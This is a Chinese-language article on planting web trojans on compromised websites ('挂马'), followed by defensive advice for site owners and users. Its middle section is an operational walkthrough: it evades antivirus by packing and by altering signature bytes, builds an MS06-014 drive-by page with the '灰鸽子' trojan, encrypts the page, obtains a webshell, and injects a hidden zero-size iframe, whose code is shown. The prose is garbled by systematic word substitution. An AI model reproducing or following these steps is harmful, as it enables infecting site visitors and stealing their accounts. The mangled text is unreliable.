很多朋友都碰到过这样的现象：打开一个网站，成果页面还没显示，杀毒软件就开端报警，提示检测到木马病毒。有经验的朋友会知道这是网页病毒，但是自己打开的明明是正规网站，没有哪家正规网站会将病毒放在自己的网页上吧？那么是什么导致了这种现象的产生呢？其中最有可能的一个原因就是：这个网站被挂马了。
挂马这个似义词前我们似乎经常能听到，那么什么是挂马呢？挂马就是黑客进侵了一些网站后，将自己编写的网页木马嵌进被黑网站的主页中，利用被黑网站的流量将自己的网页木马传播开往，以达到自己不可告人的目标。例如很多游戏网站被挂马，黑客的目标就是盗取浏览该网站玩家的游戏账号，而那些大型网站被挂马，则是为了搜集大批的肉鸡。网站被挂马不仅会让自己的网站失往信用，丧失大批客户，也会让我们这些普通用户陷进黑客设下的陷阱，沦为黑客的肉鸡。下面就让我们来懂得这种时下最风行的黑客攻击手段。
挂马的核心：木马
从“挂马”这个词中我们就可以知道，这和木马脱离不了关系。的确，挂马的目标就是将木马传播出往，挂马只是一种手段。挂马应用的木马大致可以分为两类：一类是以远程把持为目标的木马，黑客应用这种木马进行挂马攻击，其目标是为了得到大批的肉鸡，以此对某些网站实行拒尽服务攻击或达到其他目标（目前尽大多数实行拒尽服务攻击的傀儡盘算机都是挂马攻击的受害者）。另一类是键盘记录木马，我们通常称其为盗号木马，其目标不问可知，都是冲着我们的游戏帐号或者银行帐号来的。目前挂马所应用的木马多数属于后者。
木马的免杀伎俩
作为挂马所用的木马，其隐躲性必定要高，这样就可以让用户在不知不觉中运行木马，也可以让挂马的页面存活更多的时间。黑客为了让木马回避杀毒软件的查杀，应用的伎俩很多。通常应用的方法有：
加壳处理：关于壳的概念我们曾经先容过，就是为了让别人无法修正编译好的程序文件，同时压缩程序体积。木马经过加壳这一道工序后就有可能逃过杀毒软件的查杀，这也是为什么我们装了杀毒软件还会沾染老病毒的原因。固然目前的杀毒软件都支撑对程序脱壳后再查杀，但只局限于一些比拟热点的加壳程序，例如ASPack、UPX等，而碰上一些经过冷门加壳程序处理后的木马时，就无能为力了。所以加壳还是黑客比拟常用的免杀伎俩之一。
冷门的加壳程序
修正特点码：杀毒软件是根据病毒特点码来判定一个程序是否是病毒的。杀毒软件在对程序进行检测时，假如在程序中发明了病毒特点码，就将该程序判定为病毒。黑客当然也明白这个道理，于是他们会修正木马中被定为特点码的部分代码，将其加密或应用汇编指令将其跳转，这样杀毒软件就无法在木马中找到病毒特点码，自然也就不会将其判定为病毒了。
固然这两种方法都可以躲过杀毒软件的查杀，但是我们还是有措施禁止木马运行的，具体方法将在防备部分讲到。那么木马是如何“挂”在网站上的呢？这里我们以“灰鸽子”木马为例，演示一下黑客挂马的过程。演示用的“灰鸽子”木马已经经过免杀处理，杀毒软件无法查杀。
埋伏的攻击者：网页木马
为什么我们一打开网页就会运行木马程序，木马又是如何“挂”在网站上的呢？这就要涉及“网页木马”这个概念。
网页木马就是将木马和网页联合在一起，打开网页的同时也会运行木马。最初的网页木马原理是利用IE浏览器的ActiveX控件，运行网页木马后会弹出一个控件下载提示，只有点击确认后才会运行其中的木马。这种网页木马在当时网络安全意识广泛不高的情况下还是有一点应用价值的，但是其毛病是显而易见的，就是会呈现ActiveX控件下载提示。当然现在很少会有人往点击那莫名其妙的ActiveX控件下载确认窗口。
在这种情况下，新的网页木马出生了。这类网页木马通常利用了IE浏览器的漏洞，在运行的时候没有丝毫提示，因此隐躲性极高。可以说，正是IE浏览器层出不穷的漏洞造成了如今网页木马横行的网络。例如最近的IE浏览器漏洞MS06-014，就可以利用来制作一个尽对隐躲的网页木马。下面让我们看看利用MS06-014制作网页木马的过程。
网页木马当然得有木马程序，这里我们应用上文中提到的“灰鸽子”木马。然后我们要下载一个MS06-014网页木马天生器。接着还要一个网页空间，三者准备完毕后，就可以开端测试了。
天生网页木马
首先将木马程序上传到网页空间中。运行“MS06-014木马天生器”，在“木马地址”中填进已经上传到空间中的木马网址，并勾选下方的“是否暗躲源码”选项。这个选项的作用是当网页木马运行后，会主动清空网页源文件，用户即使起了怀疑也无法找到痕迹。当然清空的是用户打开的源文件，而网页木马却不受影响。点击“天生网马”按钮即可在程序的同目录天生一个名为muma.htm的网页木马。
配置网页木马
持续进行网页木马的配置，在“欲加密的网页”中浏览选中天生的网页木马。网页木马在运行时会利用IE的漏洞，其中确定存在漏洞利用代码，这些代码会被杀毒软件检测出来，因此要想隐躲地运行网页木马，加密木马程序还不够，还需对网页木马进行加密。“MS06-014木马天生器”的“加密方法”中供给了四种网页的加密方法，分辨是：空字符加密、转义字符加密、Escape加密和拆分特点码。这里我们应用“转义字符加密”加密方法，选中“转义字符加密”选项后点击“加密”按钮，免杀的网页木马就天生了。将该加密过的网页木马上传到网页空间中即可。
寻找缺点网站，写进网页木马
网页木马准备完毕，就等着寻找挂马的目标网站了。此时黑客会到处搜索，寻找有脚本缺点的网站程序，找到后利用网站程序的漏洞进侵网站，并得到网站的一个webshell。这时我们可以编纂网站首页的内容，将挂马的代码插进即可。代码为：<iframe src="/muma.htm"; width="0" height="0" frameborder="0"></iframe>，src参数后面的是网页木马的地址。当我们打开这个网站的首页后，会弹出网页木马的页面，这个页面我们是无法看到的，由于我们在代码中设置了弹出页面的窗口长宽各为0。此时木马也已经静静下载到本机并运行了。我们可以看到，网站的首页显示正常，杀毒软件并没有任何反应，而木马却已经运行了，可见木马的隐躲性很高，迫害也相当严重。成功运行木马
铲除网站“挂马”毒瘤
“挂马”攻击已经成为目前最风行的攻击方法，面对数目宏大的“挂马”网站，我们该如何防御呢？作为一名网站站长，我们又如何知道自己的网站被人挂马了呢？
站长防备：假如你是一名站长，可以对网站首页以及其他重要页面的源代码进行检查，用记事本打开这些页面后，以“<iframe>”为关键字进行搜索，找到后可以查看是否是挂马代码。不过碰上有经验的黑客，会编写一段代码将整句挂马代码进行加密，这样我们就很难找到网页中的挂马代码。这时可以将所有网页文件按修正时间进行排序，假如有个别网页被修正，我们可以很快地发明。
当然，最好的措施就是设置好网站的权限，对于应用动态语言编写的网站，一般对网页文件是不需要修正的，所有的数据都存储在数据库中。因此我们可以只对数据库所在的文件夹设置写权限，而对全部网站文件夹设置只读权限，这样即使网站存在漏洞，黑客也别想通过脚本漏洞进侵网站，更别说在主页上挂马了。
普通用户防备：普通用户关心的自然是如何防备“挂马”攻击。既然杀毒软件在网页木马眼前成了“睁眼瞎”，而我们又无法感知网站是否被“挂马”。在这种情况下，我们岂不是任人宰割？我们已经知道网页木马的运行原理利用了IE浏览器的漏洞，因此只要我们及时更新系统补丁就可以让网页木马失效了。开启系统“主动更新”的方法为：右键点击“我的电脑”，选择“属性”，切换到“主动更新”标签，选中其中的“主动（推荐）”即可。此外我们也可以应用“360安全卫士”等具有补丁更新功效的软件。运行“360安全卫士”后，点击“修复”→修复系统漏洞，即可查看系统的补丁状态，勾选未安装的补丁下载即可。应用“360安全卫士”更新补丁
杀毒软件在网页木马前失往了作用，不代表我们就拿它没辙。我们可以应用一款名为System Safety Monitor（以下简称为SSM）的软件，在它的监控下，没有一个木马病毒可以躲过它的眼睛。安装完毕后运行，其主动最小化到系统任务栏，开端对系统进行监控。SSM的监控功效相当强悍，系统内部的一些把持也会被监控并提示。让我们看看SSM对付这种加密过的网页木马后果如何，打开挂有木马的网页。SSM马上弹出了一个拦阻警告框，从警告窗口的内容中我们可以看到，ieXPlore.exe过程试图启动网址程序，其意思是IE浏览器想运行网址这个可履行程序。IE浏览器对于可履行程序是提示下载的，而不会直接运行，由此可见其中的猫腻，此时我们点击“拒尽”按钮就可以禁止网页木马的运行了。SSM的监控原理和杀毒软件不同，其最大特点是可以监控到所有的网页木马，由于其应用较一般安全软件来得复杂，因此建议中高级用户应用。
